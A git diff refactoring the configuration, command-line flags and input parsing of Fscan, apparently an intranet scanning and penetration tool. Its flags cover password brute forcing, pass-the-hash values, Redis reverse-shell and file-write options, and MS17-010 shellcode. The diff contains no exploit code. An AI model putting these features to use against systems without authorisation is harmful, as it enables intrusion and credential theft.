diff --git a/Common/Config.go b/Common/Config.go index 0cee21b..ad7a3ae 100644 --- a/Common/Config.go +++ b/Common/Config.go @@ -864,93 +864,105 @@ type PocInfo struct { } var ( - // 目标配置 - Ports string - ExcludePorts string // 原NoPorts - ExcludeHosts string - AddPorts string // 原PortAdd + // ========================================================= + // 扫描目标配置 + // ========================================================= + Ports string // 要扫描的端口列表,如"80,443,8080" + ExcludePorts string // 要排除的端口列表 + ExcludeHosts string // 要排除的主机列表 + AddPorts string // 额外添加的端口列表 + HostPort []string // 主机:端口格式的目标列表 - // 认证配置 - Username string - Password string - Domain string - SshKeyPath string // 原SshKey - AddUsers string // 原UserAdd - AddPasswords string // 原PassAdd + // ========================================================= + // 认证与凭据配置 + // ========================================================= + Username string // 用于认证的用户名 + Password string // 用于认证的密码 + AddUsers string // 额外添加的用户名列表 + AddPasswords string // 额外添加的密码列表 - // 扫描配置 - ScanMode string // 原Scantype - ThreadNum int // 原Threads - ModuleThreadNum int = 10 - Timeout int64 = 3 - GlobalTimeout int64 = 180 - LiveTop int - DisablePing bool // 原NoPing - UsePing bool // 原Ping - Command string - SkipFingerprint bool + // 特定服务认证 + Domain string // Active Directory/SMB域名 + HashValue string // 用于哈希认证的单个哈希值 + HashValues []string // 哈希值列表 + HashBytes [][]byte // 二进制格式的哈希值列表 + HashFile string // 包含哈希值的文件路径 + SshKeyPath string // SSH私钥文件路径 - // 文件配置 - HostsFile string // 原HostFile - UsersFile string // 原Userfile - PasswordsFile string // 原Passfile - HashFile string // 原Hashfile - PortsFile string // 原PortFile + // ========================================================= + // 扫描控制配置 + // ========================================================= + ScanMode string // 扫描模式或指定的插件列表 + ThreadNum int // 并发扫描线程数 + ModuleThreadNum int // 模块内部线程数 + Timeout int64 // 单个扫描操作超时时间(秒) + GlobalTimeout int64 // 整体扫描超时时间(秒) + LiveTop int // 显示的存活主机排名数量 + DisablePing bool // 是否禁用主机存活性检测 + UsePing bool // 是否使用ICMP Ping检测主机存活 + EnableFingerprint bool // 是否跳过服务指纹识别 + LocalMode bool // 是否启用本地信息收集模式 - // Web配置 - TargetURL string // 原URL - URLsFile string // 原UrlFile - URLs []string // 原Urls - WebTimeout int64 = 5 - HttpProxy string // 原Proxy - Socks5Proxy string + // ========================================================= + // 输入文件配置 + // ========================================================= + HostsFile string // 包含目标主机的文件路径 + UsersFile string // 包含用户名列表的文件路径 + PasswordsFile string // 包含密码列表的文件路径 + PortsFile string // 包含端口列表的文件路径 - LocalMode bool // -local 本地模式 + // ========================================================= + // Web扫描配置 + // ========================================================= + TargetURL string // 单个目标URL + URLsFile string // 包含URL列表的文件路径 + URLs []string // 解析后的URL目标列表 + WebTimeout int64 // Web请求超时时间(秒),默认5秒 + HttpProxy string // HTTP代理地址 + Socks5Proxy string // SOCKS5代理地址 + // ========================================================= + // POC与漏洞利用配置 + // ========================================================= // POC配置 - PocPath string - Pocinfo PocInfo + PocPath string // POC脚本路径 + Pocinfo PocInfo // POC详细信息结构 - // Redis配置 - RedisFile string - RedisShell string - DisableRedis bool // 原Noredistest - RedisWritePath string - RedisWriteContent string - RedisWriteFile string + // Redis利用 + RedisFile string // Redis利用目标文件 + RedisShell string // Redis反弹Shell命令 + DisableRedis bool // 是否禁用Redis利用测试 + RedisWritePath string // Redis文件写入路径 + RedisWriteContent string // Redis文件写入内容 + RedisWriteFile string // Redis写入的源文件 - // 爆破配置 - DisableBrute bool // 原IsBrute - //BruteThreads int // 原BruteThread - MaxRetries int // 最大重试次数 + // 其他漏洞利用 + Shellcode string // 用于MS17010等漏洞利用的Shellcode - // 其他配置 - RemotePath string // 原Path - HashValue string // 原Hash - HashValues []string // 原Hashs - HashBytes [][]byte - HostPort []string - Shellcode string // 原SC - EnableWmi bool // 原IsWmi + // ========================================================= + // 暴力破解控制 + // ========================================================= + DisableBrute bool // 是否禁用暴力破解模块 + MaxRetries int // 连接失败最大重试次数 - // 输出配置 - DisableSave bool // 禁止保存结果 - Silent bool // 静默模式 - NoColor bool // 禁用彩色输出 - JsonFormat bool // JSON格式输出 - LogLevel string // 日志输出级别 - ShowProgress bool // 是否显示进度条 - - Language string // 语言 + // ========================================================= + // 输出与显示配置 + // ========================================================= + DisableSave bool // 是否禁止保存扫描结果 + Silent bool // 是否启用静默模式 + NoColor bool // 是否禁用彩色输出 + LogLevel string // 日志输出级别 + ShowProgress bool // 是否显示进度条 + ShowScanPlan bool // 是否显示扫描计划详情 + SlowLogOutput bool // 是否启用慢速日志输出 + Language string // 界面语言设置 ) var ( - UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36" - Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" - DnsLog bool - PocNum int - PocFull bool - CeyeDomain string - ApiKey string - Cookie string + UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36" + Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" + DnsLog bool + PocNum int + PocFull bool + Cookie string ) diff --git a/Common/Flag.go b/Common/Flag.go index 0c17882..c9efe39 100644 --- a/Common/Flag.go +++ b/Common/Flag.go @@ -5,7 +5,6 @@ import ( "fmt" "github.com/fatih/color" "os" - "runtime" "strings" ) @@ -56,40 +55,50 @@ func Banner() { c.Printf(" Fscan Version: %s\n\n", version) } +// Flag 解析命令行参数并配置扫描选项 func Flag(Info *HostInfo) { Banner() - // 目标配置 + // ═════════════════════════════════════════════════ + // 目标配置参数 + // ═════════════════════════════════════════════════ flag.StringVar(&Info.Host, "h", "", GetText("flag_host")) flag.StringVar(&ExcludeHosts, "eh", "", GetText("flag_exclude_hosts")) flag.StringVar(&Ports, "p", MainPorts, GetText("flag_ports")) + flag.StringVar(&HostsFile, "hf", "", GetText("flag_hosts_file")) + flag.StringVar(&PortsFile, "pf", "", GetText("flag_ports_file")) - // 认证配置 - flag.StringVar(&AddUsers, "usera", "", GetText("flag_add_users")) - flag.StringVar(&AddPasswords, "pwda", "", GetText("flag_add_passwords")) - flag.StringVar(&Username, "user", "", GetText("flag_username")) - flag.StringVar(&Password, "pwd", "", GetText("flag_password")) - flag.StringVar(&Domain, "domain", "", GetText("flag_domain")) - flag.StringVar(&SshKeyPath, "sshkey", "", GetText("flag_ssh_key")) - - // 扫描配置 + // ═════════════════════════════════════════════════ + // 扫描控制参数 + // ═════════════════════════════════════════════════ flag.StringVar(&ScanMode, "m", "All", GetText("flag_scan_mode")) - flag.IntVar(&ThreadNum, "t", 60, GetText("flag_thread_num")) + flag.IntVar(&ThreadNum, "t", 10, GetText("flag_thread_num")) flag.Int64Var(&Timeout, "time", 3, GetText("flag_timeout")) + flag.IntVar(&ModuleThreadNum, "mt", 10, GetText("flag_module_thread_num")) + flag.Int64Var(&GlobalTimeout, "gt", 180, GetText("flag_global_timeout")) flag.IntVar(&LiveTop, "top", 10, GetText("flag_live_top")) flag.BoolVar(&DisablePing, "np", false, GetText("flag_disable_ping")) flag.BoolVar(&UsePing, "ping", false, GetText("flag_use_ping")) - flag.StringVar(&Command, "c", "", GetText("flag_command")) - flag.BoolVar(&SkipFingerprint, "skip", false, GetText("flag_skip_fingerprint")) + flag.BoolVar(&EnableFingerprint, "fingerprint", false, GetText("flag_enable_fingerprint")) + flag.BoolVar(&LocalMode, "local", false, GetText("flag_local_mode")) - // 文件配置 - flag.StringVar(&HostsFile, "hf", "", GetText("flag_hosts_file")) + // ═════════════════════════════════════════════════ + // 认证与凭据参数 + // ═════════════════════════════════════════════════ + flag.StringVar(&Username, "user", "", GetText("flag_username")) + flag.StringVar(&Password, "pwd", "", GetText("flag_password")) + flag.StringVar(&AddUsers, "usera", "", GetText("flag_add_users")) + flag.StringVar(&AddPasswords, "pwda", "", GetText("flag_add_passwords")) flag.StringVar(&UsersFile, "userf", "", GetText("flag_users_file")) flag.StringVar(&PasswordsFile, "pwdf", "", GetText("flag_passwords_file")) flag.StringVar(&HashFile, "hashf", "", GetText("flag_hash_file")) - flag.StringVar(&PortsFile, "portf", "", GetText("flag_ports_file")) + flag.StringVar(&HashValue, "hash", "", GetText("flag_hash_value")) + flag.StringVar(&Domain, "domain", "", GetText("flag_domain")) // SMB扫描用 + flag.StringVar(&SshKeyPath, "sshkey", "", GetText("flag_ssh_key")) // SSH扫描用 - // Web配置 + // ═════════════════════════════════════════════════ + // Web扫描参数 + // ═════════════════════════════════════════════════ flag.StringVar(&TargetURL, "u", "", GetText("flag_target_url")) flag.StringVar(&URLsFile, "uf", "", GetText("flag_urls_file")) flag.StringVar(&Cookie, "cookie", "", GetText("flag_cookie")) @@ -97,55 +106,112 @@ func Flag(Info *HostInfo) { flag.StringVar(&HttpProxy, "proxy", "", GetText("flag_http_proxy")) flag.StringVar(&Socks5Proxy, "socks5", "", GetText("flag_socks5_proxy")) - // 本地扫描配置 - flag.BoolVar(&LocalMode, "local", false, GetText("flag_local_mode")) - - // POC配置 + // ═════════════════════════════════════════════════ + // POC测试参数 + // ═════════════════════════════════════════════════ flag.StringVar(&PocPath, "pocpath", "", GetText("flag_poc_path")) flag.StringVar(&Pocinfo.PocName, "pocname", "", GetText("flag_poc_name")) flag.BoolVar(&PocFull, "full", false, GetText("flag_poc_full")) flag.BoolVar(&DnsLog, "dns", false, GetText("flag_dns_log")) flag.IntVar(&PocNum, "num", 20, GetText("flag_poc_num")) - // Redis利用配置 + // ═════════════════════════════════════════════════ + // Redis利用参数 + // ═════════════════════════════════════════════════ flag.StringVar(&RedisFile, "rf", "", GetText("flag_redis_file")) flag.StringVar(&RedisShell, "rs", "", GetText("flag_redis_shell")) flag.BoolVar(&DisableRedis, "noredis", false, GetText("flag_disable_redis")) - // Redis任意文件写入配置 flag.StringVar(&RedisWritePath, "rwp", "", GetText("flag_redis_write_path")) flag.StringVar(&RedisWriteContent, "rwc", "", GetText("flag_redis_write_content")) flag.StringVar(&RedisWriteFile, "rwf", "", GetText("flag_redis_write_file")) - // 暴力破解配置 + // ═════════════════════════════════════════════════ + // 暴力破解控制参数 + // ═════════════════════════════════════════════════ flag.BoolVar(&DisableBrute, "nobr", false, GetText("flag_disable_brute")) flag.IntVar(&MaxRetries, "retry", 3, GetText("flag_max_retries")) - // 其他配置 - flag.StringVar(&RemotePath, "path", "", GetText("flag_remote_path")) - flag.StringVar(&HashValue, "hash", "", GetText("flag_hash_value")) - flag.StringVar(&Shellcode, "sc", "", GetText("flag_shellcode")) - flag.BoolVar(&EnableWmi, "wmi", false, GetText("flag_enable_wmi")) - - // 输出配置 + // ═════════════════════════════════════════════════ + // 输出与显示控制参数 + // ═════════════════════════════════════════════════ flag.StringVar(&Outputfile, "o", "result.txt", GetText("flag_output_file")) flag.StringVar(&OutputFormat, "f", "txt", GetText("flag_output_format")) flag.BoolVar(&DisableSave, "no", false, GetText("flag_disable_save")) flag.BoolVar(&Silent, "silent", false, GetText("flag_silent_mode")) flag.BoolVar(&NoColor, "nocolor", false, GetText("flag_no_color")) - flag.BoolVar(&JsonFormat, "json", false, GetText("flag_json_format")) flag.StringVar(&LogLevel, "log", LogLevelSuccess, GetText("flag_log_level")) flag.BoolVar(&ShowProgress, "pg", false, GetText("flag_show_progress")) + flag.BoolVar(&ShowScanPlan, "sp", false, GetText("flag_show_scan_plan")) + flag.BoolVar(&SlowLogOutput, "slow", false, GetText("flag_slow_log_output")) + // ═════════════════════════════════════════════════ + // 其他参数 + // ═════════════════════════════════════════════════ + flag.StringVar(&Shellcode, "sc", "", GetText("flag_shellcode")) flag.StringVar(&Language, "lang", "zh", GetText("flag_language")) - envArgsString := os.Getenv("FS_ARGS") - if envArgsString != "" && runtime.GOOS != "windows" { - envArgs := strings.Split(envArgsString, " ") - flag.CommandLine.Parse(envArgs) - os.Unsetenv("FS_ARGS") - } else { - flag.Parse() - } + // 解析命令行参数 + parseCommandLineArgs() + // 设置语言 SetLanguage() } + +// parseCommandLineArgs 处理来自环境变量和命令行的参数 +func parseCommandLineArgs() { + // 首先检查环境变量中的参数 + envArgsString := os.Getenv("FS_ARGS") + if envArgsString != "" { + // 解析环境变量参数 (跨平台支持) + envArgs, err := parseEnvironmentArgs(envArgsString) + if err == nil && len(envArgs) > 0 { + flag.CommandLine.Parse(envArgs) + os.Unsetenv("FS_ARGS") // 使用后清除环境变量 + return + } + // 如果环境变量解析失败,继续使用命令行参数 + } + + // 解析命令行参数 + flag.Parse() +} + +// parseEnvironmentArgs 安全地解析环境变量中的参数 +func parseEnvironmentArgs(argsString string) ([]string, error) { + if strings.TrimSpace(argsString) == "" { + return nil, fmt.Errorf("empty arguments string") + } + + // 使用更安全的参数分割方法 + var args []string + var currentArg strings.Builder + inQuote := false + quoteChar := ' ' + + for _, char := range argsString { + switch { + case char == '"' || char == '\'': + if inQuote && char == quoteChar { + inQuote = false + } else if !inQuote { + inQuote = true + quoteChar = char + } else { + currentArg.WriteRune(char) + } + case char == ' ' && !inQuote: + if currentArg.Len() > 0 { + args = append(args, currentArg.String()) + currentArg.Reset() + } + default: + currentArg.WriteRune(char) + } + } + + if currentArg.Len() > 0 { + args = append(args, currentArg.String()) + } + + return args, nil +} diff --git a/Common/Log.go b/Common/Log.go index a645223..236e1c1 100644 --- a/Common/Log.go +++ b/Common/Log.go @@ -122,8 +122,10 @@ func printLog(entry *LogEntry) { fmt.Println(logMsg) } - // 等待日志输出完成 - time.Sleep(50 * time.Millisecond) + // 根据慢速输出设置决定是否添加延迟 + if SlowLogOutput { + time.Sleep(50 * time.Millisecond) + } // 重新显示进度条 if ProgressBar != nil { diff --git a/Common/Parse.go b/Common/Parse.go index 95411cf..55de128 100644 --- a/Common/Parse.go +++ b/Common/Parse.go @@ -10,25 +10,37 @@ import ( "strings" ) +// Parse 配置解析的总入口函数 +// 协调调用各解析子函数,完成完整的配置处理流程 func Parse(Info *HostInfo) error { - ParseUser() - ParsePass(Info) - if err := ParseInput(Info); err != nil { - return err + // 按照依赖顺序解析各类配置 + if err := ParseUser(); err != nil { + return fmt.Errorf("用户名解析错误: %v", err) } + + if err := ParsePass(Info); err != nil { + return fmt.Errorf("密码与目标解析错误: %v", err) + } + + if err := ParseInput(Info); err != nil { + return fmt.Errorf("输入参数解析错误: %v", err) + } + return nil } // ParseUser 解析用户名配置 +// 处理直接指定的用户名和从文件加载的用户名,更新全局用户字典 func ParseUser() error { - // 如果未指定用户名和用户名文件,直接返回 + // 如果未指定用户名和用户名文件,无需处理 if Username == "" && UsersFile == "" { return nil } + // 收集所有用户名 var usernames []string - // 处理直接指定的用户名列表 + // 处理命令行参数指定的用户名列表 if Username != "" { usernames = strings.Split(Username, ",") LogInfo(GetText("no_username_specified", len(usernames))) @@ -36,25 +48,25 @@ func ParseUser() error { // 从文件加载用户名列表 if UsersFile != "" { - users, err := Readfile(UsersFile) + fileUsers, err := ReadFileLines(UsersFile) if err != nil { return fmt.Errorf("读取用户名文件失败: %v", err) } - // 过滤空用户名 - for _, user := range users { + // 添加非空用户名 + for _, user := range fileUsers { if user != "" { usernames = append(usernames, user) } } - LogInfo(GetText("load_usernames_from_file", len(users))) + LogInfo(GetText("load_usernames_from_file", len(fileUsers))) } // 去重处理 usernames = RemoveDuplicate(usernames) LogInfo(GetText("total_usernames", len(usernames))) - // 更新用户字典 + // 更新所有字典的用户名列表 for name := range Userdict { Userdict[name] = usernames } @@ -62,10 +74,37 @@ func ParseUser() error { return nil } -// ParsePass 解析密码、哈希值、URL和端口配置 +// ParsePass 解析密码、URL、主机和端口等目标配置 +// 处理多种输入源的配置,并更新全局目标信息 func ParsePass(Info *HostInfo) error { - // 处理直接指定的密码列表 + // 处理密码配置 + parsePasswords() + + // 处理哈希值配置 + parseHashes() + + // 处理URL配置 + parseURLs() + + // 处理主机配置 + if err := parseHosts(Info); err != nil { + return err + } + + // 处理端口配置 + if err := parsePorts(); err != nil { + return err + } + + return nil +} + +// parsePasswords 解析密码配置 +// 处理直接指定的密码和从文件加载的密码 +func parsePasswords() { var pwdList []string + + // 处理命令行参数指定的密码列表 if Password != "" { passes := strings.Split(Password, ",") for _, pass := range passes { @@ -79,10 +118,12 @@ func ParsePass(Info *HostInfo) error { // 从文件加载密码列表 if PasswordsFile != "" { - passes, err := Readfile(PasswordsFile) + passes, err := ReadFileLines(PasswordsFile) if err != nil { - return fmt.Errorf("读取密码文件失败: %v", err) + LogError(fmt.Sprintf("读取密码文件失败: %v", err)) + return } + for _, pass := range passes { if pass != "" { pwdList = append(pwdList, pass) @@ -91,109 +132,152 @@ func ParsePass(Info *HostInfo) error { Passwords = pwdList LogInfo(GetText("load_passwords_from_file", len(passes))) } +} +// parseHashes 解析哈希值配置 +// 验证并处理哈希文件中的哈希值 +func parseHashes() { // 处理哈希文件 - if HashFile != "" { - hashes, err := Readfile(HashFile) - if err != nil { - return fmt.Errorf("读取哈希文件失败: %v", err) - } - - validCount := 0 - for _, line := range hashes { - if line == "" { - continue - } - if len(line) == 32 { - HashValues = append(HashValues, line) - validCount++ - } else { - LogError(GetText("invalid_hash", line)) - } - } - LogInfo(GetText("load_valid_hashes", validCount)) + if HashFile == "" { + return } - // 处理直接指定的URL列表 + hashes, err := ReadFileLines(HashFile) + if err != nil { + LogError(fmt.Sprintf("读取哈希文件失败: %v", err)) + return + } + + validCount := 0 + for _, line := range hashes { + if line == "" { + continue + } + // 验证哈希长度(MD5哈希为32位) + if len(line) == 32 { + HashValues = append(HashValues, line) + validCount++ + } else { + LogError(GetText("invalid_hash", line)) + } + } + LogInfo(GetText("load_valid_hashes", validCount)) +} + +// parseURLs 解析URL目标配置 +// 处理命令行和文件指定的URL列表,去重后更新全局URL列表 +func parseURLs() { + urlMap := make(map[string]struct{}) + + // 处理命令行参数指定的URL列表 if TargetURL != "" { urls := strings.Split(TargetURL, ",") - tmpUrls := make(map[string]struct{}) for _, url := range urls { if url != "" { - if _, ok := tmpUrls[url]; !ok { - tmpUrls[url] = struct{}{} - URLs = append(URLs, url) - } + urlMap[url] = struct{}{} } } - LogInfo(GetText("load_urls", len(URLs))) } // 从文件加载URL列表 if URLsFile != "" { - urls, err := Readfile(URLsFile) + urls, err := ReadFileLines(URLsFile) if err != nil { - return fmt.Errorf("读取URL文件失败: %v", err) + LogError(fmt.Sprintf("读取URL文件失败: %v", err)) + return } - tmpUrls := make(map[string]struct{}) for _, url := range urls { if url != "" { - if _, ok := tmpUrls[url]; !ok { - tmpUrls[url] = struct{}{} - URLs = append(URLs, url) - } + urlMap[url] = struct{}{} } } - LogInfo(GetText("load_urls_from_file", len(urls))) } - // 从文件加载主机列表 - if HostsFile != "" { - hosts, err := Readfile(HostsFile) - if err != nil { - return fmt.Errorf("读取主机文件失败: %v", err) + // 更新全局URL列表(已去重) + URLs = make([]string, 0, len(urlMap)) + for u := range urlMap { + URLs = append(URLs, u) + } + + if len(URLs) > 0 { + LogInfo(GetText("load_urls", len(URLs))) + } +} + +// parseHosts 解析主机配置 +// 从文件加载主机列表并更新目标信息 +func parseHosts(Info *HostInfo) error { + // 如果未指定主机文件,无需处理 + if HostsFile == "" { + return nil + } + + hosts, err := ReadFileLines(HostsFile) + if err != nil { + return fmt.Errorf("读取主机文件失败: %v", err) + } + + // 去重处理 + hostMap := make(map[string]struct{}) + for _, host := range hosts { + if host != "" { + hostMap[host] = struct{}{} + } + } + + // 构建主机列表并更新Info.Host + if len(hostMap) > 0 { + var hostList []string + for host := range hostMap { + hostList = append(hostList, host) } - tmpHosts := make(map[string]struct{}) - for _, host := range hosts { - if host != "" { - if _, ok := tmpHosts[host]; !ok { - tmpHosts[host] = struct{}{} - if Info.Host == "" { - Info.Host = host - } else { - Info.Host += "," + host - } - } - } + hostStr := strings.Join(hostList, ",") + if Info.Host == "" { + Info.Host = hostStr + } else { + Info.Host += "," + hostStr } + LogInfo(GetText("load_hosts_from_file", len(hosts))) } - // 从文件加载端口列表 - if PortsFile != "" { - ports, err := Readfile(PortsFile) - if err != nil { - return fmt.Errorf("读取端口文件失败: %v", err) - } - - var newport strings.Builder - for _, port := range ports { - if port != "" { - newport.WriteString(port) - newport.WriteString(",") - } - } - Ports = newport.String() - LogInfo(GetText("load_ports_from_file")) - } - return nil } -// Readfile 读取文件内容并返回非空行的切片 -func Readfile(filename string) ([]string, error) { +// parsePorts 解析端口配置 +// 从文件加载端口列表并更新全局端口配置 +func parsePorts() error { + // 如果未指定端口文件,无需处理 + if PortsFile == "" { + return nil + } + + ports, err := ReadFileLines(PortsFile) + if err != nil { + return fmt.Errorf("读取端口文件失败: %v", err) + } + + // 构建端口列表字符串 + var portBuilder strings.Builder + for _, port := range ports { + if port != "" { + portBuilder.WriteString(port) + portBuilder.WriteString(",") + } + } + + // 更新全局端口配置 + Ports = portBuilder.String() + LogInfo(GetText("load_ports_from_file")) + + return nil +} + +// ReadFileLines 读取文件内容并返回非空行的切片 +// 通用的文件读取函数,处理文件打开、读取和错误报告 +func ReadFileLines(filename string) ([]string, error) { // 打开文件 file, err := os.Open(filename) if err != nil { @@ -206,7 +290,7 @@ func Readfile(filename string) ([]string, error) { scanner := bufio.NewScanner(file) scanner.Split(bufio.ScanLines) - // 逐行读取文件内容 + // 逐行读取文件内容,忽略空行 lineCount := 0 for scanner.Scan() { text := strings.TrimSpace(scanner.Text()) @@ -227,19 +311,48 @@ func Readfile(filename string) ([]string, error) { } // ParseInput 解析和验证输入参数配置 +// 处理多种配置的冲突检查、格式验证和参数处理 func ParseInput(Info *HostInfo) error { - // 检查互斥的扫描模式 + // 检查扫描模式冲突 + if err := validateScanMode(Info); err != nil { + return err + } + + // 处理端口配置组合 + processPortsConfig() + + // 处理额外用户名和密码 + processExtraCredentials() + + // 处理代理配置 + if err := processProxySettings(); err != nil { + return err + } + + // 处理哈希值 + if err := processHashValues(); err != nil { + return err + } + + return nil +} + +// validateScanMode 验证扫描模式 +// 检查互斥的扫描模式配置,避免参数冲突 +func validateScanMode(Info *HostInfo) error { + // 检查互斥的扫描模式(主机扫描、URL扫描、本地模式) modes := 0 if Info.Host != "" || HostsFile != "" { modes++ } - if TargetURL != "" || URLsFile != "" { + if len(URLs) > 0 || TargetURL != "" || URLsFile != "" { modes++ } if LocalMode { modes++ } + // 处理扫描模式验证结果 if modes == 0 { // 无参数时显示帮助 flag.Usage() @@ -248,17 +361,18 @@ func ParseInput(Info *HostInfo) error { return fmt.Errorf(GetText("params_conflict")) } - //// 处理爆破线程配置 - //if BruteThreads <= 0 { - // BruteThreads = 1 - // LogInfo(GetText("brute_threads", BruteThreads)) - //} + return nil +} - // 处理端口配置 +// processPortsConfig 处理端口配置 +// 合并默认端口和附加端口配置 +func processPortsConfig() { + // 如果使用主要端口,添加Web端口 if Ports == MainPorts { Ports += "," + WebPorts } + // 处理附加端口 if AddPorts != "" { if strings.HasSuffix(Ports, ",") { Ports += AddPorts @@ -267,8 +381,12 @@ func ParseInput(Info *HostInfo) error { } LogInfo(GetText("extra_ports", AddPorts)) } +} - // 处理用户名配置 +// processExtraCredentials 处理额外的用户名和密码 +// 添加命令行指定的额外用户名和密码到现有配置 +func processExtraCredentials() { + // 处理额外用户名 if AddUsers != "" { users := strings.Split(AddUsers, ",") for dict := range Userdict { @@ -278,67 +396,112 @@ func ParseInput(Info *HostInfo) error { LogInfo(GetText("extra_usernames", AddUsers)) } - // 处理密码配置 + // 处理额外密码 if AddPasswords != "" { passes := strings.Split(AddPasswords, ",") Passwords = append(Passwords, passes...) Passwords = RemoveDuplicate(Passwords) LogInfo(GetText("extra_passwords", AddPasswords)) } +} - // 处理Socks5代理配置 +// processProxySettings 处理代理设置 +// 解析并验证Socks5和HTTP代理配置 +func processProxySettings() error { + // 处理Socks5代理 if Socks5Proxy != "" { - if !strings.HasPrefix(Socks5Proxy, "socks5://") { - if !strings.Contains(Socks5Proxy, ":") { - Socks5Proxy = "socks5://127.0.0.1" + Socks5Proxy - } else { - Socks5Proxy = "socks5://" + Socks5Proxy - } + if err := setupSocks5Proxy(); err != nil { + return err } - - _, err := url.Parse(Socks5Proxy) - if err != nil { - return fmt.Errorf(GetText("socks5_proxy_error", err)) - } - DisablePing = true - LogInfo(GetText("socks5_proxy", Socks5Proxy)) } - // 处理HTTP代理配置 + // 处理HTTP代理 if HttpProxy != "" { - switch HttpProxy { - case "1": - HttpProxy = "http://127.0.0.1:8080" - case "2": - HttpProxy = "socks5://127.0.0.1:1080" - default: - if !strings.Contains(HttpProxy, "://") { - HttpProxy = "http://127.0.0.1:" + HttpProxy - } + if err := setupHttpProxy(); err != nil { + return err } - - if !strings.HasPrefix(HttpProxy, "socks") && !strings.HasPrefix(HttpProxy, "http") { - return fmt.Errorf(GetText("unsupported_proxy")) - } - - _, err := url.Parse(HttpProxy) - if err != nil { - return fmt.Errorf(GetText("proxy_format_error", err)) - } - LogInfo(GetText("http_proxy", HttpProxy)) } - // 处理Hash配置 + return nil +} + +// setupSocks5Proxy 设置Socks5代理 +// 格式化和验证Socks5代理URL +func setupSocks5Proxy() error { + // 规范化Socks5代理URL格式 + if !strings.HasPrefix(Socks5Proxy, "socks5://") { + if !strings.Contains(Socks5Proxy, ":") { + // 仅指定端口时使用本地地址 + Socks5Proxy = "socks5://127.0.0.1:" + Socks5Proxy + } else { + // 指定IP:PORT时添加协议前缀 + Socks5Proxy = "socks5://" + Socks5Proxy + } + } + + // 验证代理URL格式 + _, err := url.Parse(Socks5Proxy) + if err != nil { + return fmt.Errorf(GetText("socks5_proxy_error", err)) + } + + // 使用Socks5代理时禁用Ping(无法通过代理进行ICMP) + DisablePing = true + LogInfo(GetText("socks5_proxy", Socks5Proxy)) + + return nil +} + +// setupHttpProxy 设置HTTP代理 +// 处理多种HTTP代理简写形式并验证URL格式 +func setupHttpProxy() error { + // 处理HTTP代理简写形式 + switch HttpProxy { + case "1": + // 快捷方式1: 本地8080端口(常用代理工具默认端口) + HttpProxy = "http://127.0.0.1:8080" + case "2": + // 快捷方式2: 本地1080端口(常见SOCKS端口) + HttpProxy = "socks5://127.0.0.1:1080" + default: + // 仅指定端口时使用本地HTTP代理 + if !strings.Contains(HttpProxy, "://") { + HttpProxy = "http://127.0.0.1:" + HttpProxy + } + } + + // 验证代理协议 + if !strings.HasPrefix(HttpProxy, "socks") && !strings.HasPrefix(HttpProxy, "http") { + return fmt.Errorf(GetText("unsupported_proxy")) + } + + // 验证代理URL格式 + _, err := url.Parse(HttpProxy) + if err != nil { + return fmt.Errorf(GetText("proxy_format_error", err)) + } + + LogInfo(GetText("http_proxy", HttpProxy)) + + return nil +} + +// processHashValues 处理哈希值 +// 验证单个哈希值并处理哈希列表 +func processHashValues() error { + // 处理单个哈希值 if HashValue != "" { + // MD5哈希必须是32位十六进制字符 if len(HashValue) != 32 { return fmt.Errorf(GetText("hash_length_error")) } HashValues = append(HashValues, HashValue) } - // 处理Hash列表 + // 处理哈希值列表 HashValues = RemoveDuplicate(HashValues) for _, hash := range HashValues { + // 将十六进制字符串转换为字节数组 hashByte, err := hex.DecodeString(hash) if err != nil { LogError(GetText("hash_decode_failed", hash)) @@ -346,7 +509,24 @@ func ParseInput(Info *HostInfo) error { } HashBytes = append(HashBytes, hashByte) } + + // 清空原始哈希值列表,仅保留字节形式 HashValues = []string{} return nil } + +// RemoveDuplicate 对字符串切片进行去重 +func RemoveDuplicate(old []string) []string { + temp := make(map[string]struct{}) + var result []string + + for _, item := range old { + if _, exists := temp[item]; !exists { + temp[item] = struct{}{} + result = append(result, item) + } + } + + return result +} diff --git a/Common/ParseIP.go b/Common/ParseIP.go index d22471e..8b9e66e 100644 --- a/Common/ParseIP.go +++ b/Common/ParseIP.go @@ -13,26 +13,37 @@ import ( "strings" ) -var ParseIPErr = errors.New(GetText("parse_ip_error")) +// IP解析相关错误 +var ( + ErrParseIP = errors.New(GetText("parse_ip_error")) // IP解析失败的统一错误 +) -// ParseIP 解析IP地址配置 +// ParseIP 解析各种格式的IP地址 +// 参数: +// - host: 主机地址(可以是单个IP、IP范围、CIDR或常用网段简写) +// - filename: 包含主机地址的文件名 +// - nohosts: 需要排除的主机地址列表 +// +// 返回: +// - []string: 解析后的IP地址列表 +// - error: 解析过程中的错误 func ParseIP(host string, filename string, nohosts ...string) (hosts []string, err error) { - // 处理主机和端口组合的情况 + // 处理主机和端口组合的情况 (格式: IP:PORT) if filename == "" && strings.Contains(host, ":") { hostport := strings.Split(host, ":") if len(hostport) == 2 { host = hostport[0] - hosts = ParseIPs(host) + hosts = parseIPList(host) Ports = hostport[1] LogInfo(GetText("host_port_parsed", Ports)) } } else { // 解析主机地址 - hosts = ParseIPs(host) + hosts = parseIPList(host) // 从文件加载额外主机 if filename != "" { - fileHosts, err := Readipfile(filename) + fileHosts, err := readIPFile(filename) if err != nil { LogError(GetText("read_host_file_failed", err)) } else { @@ -42,177 +53,137 @@ func ParseIP(host string, filename string, nohosts ...string) (hosts []string, e } } - // 处理排除主机 - if len(nohosts) > 0 && nohosts[0] != "" { - excludeHosts := ParseIPs(nohosts[0]) - if len(excludeHosts) > 0 { - // 使用map存储有效主机 - temp := make(map[string]struct{}) - for _, host := range hosts { - temp[host] = struct{}{} - } + // 处理需要排除的主机 + hosts = excludeHosts(hosts, nohosts) - // 删除需要排除的主机 - for _, host := range excludeHosts { - delete(temp, host) - } - - // 重建主机列表 - var newHosts []string - for host := range temp { - newHosts = append(newHosts, host) - } - hosts = newHosts - sort.Strings(hosts) - LogInfo(GetText("hosts_excluded", len(excludeHosts))) - } - } - - // 去重处理 - hosts = RemoveDuplicate(hosts) + // 去重并排序 + hosts = 